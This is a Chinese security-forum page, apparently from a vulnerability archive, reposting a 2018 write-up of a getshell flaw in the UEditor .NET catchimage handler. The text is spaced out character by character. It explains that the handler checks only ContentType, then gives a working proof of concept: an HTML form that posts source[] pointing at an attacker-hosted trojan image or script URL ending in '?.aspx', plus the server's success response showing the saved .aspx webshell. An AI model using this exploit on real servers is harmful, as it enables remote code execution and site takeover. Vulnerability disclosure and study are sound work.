搜索

[1079] 2018-08-22_UEditor.net版本getshell

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-16
2018-08-22_UEditor.net版本getshell U E d i t o r   . n e t 版 本   g e t s h e l l C h a B u g   2 0 1 8 - 0 8 - 2 2 1 .   发 布 时 间 ： 2 0 1 8 - 0 8 - 0 3 2 .   公 开 时 间 ： 2 0 1 8 - 0 8 - 2 1 3 .   漏 洞 类 型 ： 逻 辑 漏 洞 4 .   危 害 等 级 ： 高 5 .   漏 洞 编 号 ： x i a n z h i - 2 0 1 8 - 0 8 - 1 6 0 5 2 9 0 5 ( 不 收 取   驳 回 ) 6 .   测 试 版 本 ： g i t h u b 最 新 版 好 像 有 人 用 这 个 拿 了 百 度 漏 洞 详 情 h t t p s : / / g i t h u b . c o m / f e x - t e a m / u e d i t o r / b l o b / d e v - 1 . 5 . 0 / n e t / A p p _ C o d e / C r a w l e r H a n d l e r . c s C r a w l e r 方 法 对 s o u r c e [ ] 的 检 查 仅 仅 是 一 个 C o n t e n t T y p e i f   ( r e s p o n s e . C o n t e n t T y p e . I n d e x O f ( " i m a g e " )   = =   - 1 )                         {                                 S t a t e   =   " U r l   i s   n o t   a n   i m a g e " ;                                 r e t u r n   t h i s ;                         }   并 没 有 检 查 文 件 扩 展 名 就 直 接 保 存 到 本 地   导 致 g e t s h e l l P O C : < f o r m   a c t i o n = " h t t p : / / x x . c o m / e d i t o r / u e d i t o r / n e t / c o n t r o l l e r . a s h x ? a c t i o n = c a t c h i m a g e "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   m e t h o d = " P O S T " >     < p > s h e l l   a d d r :   < i n p u t   t y p e = " t e x t "   n a m e = " s o u r c e [ ] "   / > < / p >     < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t "   / > < / f o r m > s h e l l   a d d r   可 以 用 h t t p : / / w w w . x x x . c o m / x x x . j p g ? . a s p x 的 方 式 使 用 包 含 木 马 的 图 片 （ 为 了 使 服 务 器 返 回 的 C o n t e n t T y p e 是 i m a g e / x x x ） 也 可 以 用 h t t p : / / w w w . x x x x . c o m / x x x . p h p ? . a s p x 然 后 在 x x x . p h p 中 自 己 设 置 C o n t e n t T y p e 返 回 如 下 { " s t a t e " : " S U C C E S S " , " l i s t " : [ { " s t a t e " : " S U C C E S S " , " s o u r c e " : " h t t p : / / w w w . x x x x . c o m / / u p l o a d / E n c y c l o p e d i a s / 2 0 1 8 0 8 / 0 3 / 2 0 1 8 0 8 0 3 0 0 5 5 0 2 7 8 6 8 3 . p n g ? . a s p x " , " u r l " : " / u p l o a d / i m a g e / 2 0 1 8 0 8 / 0 3 / 6 3 6 6 8 8 5 6 9 8 0 3 3 0 3 8 5 0 2 3 0 6 9 1 9 . a s p x " } ] }
 
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理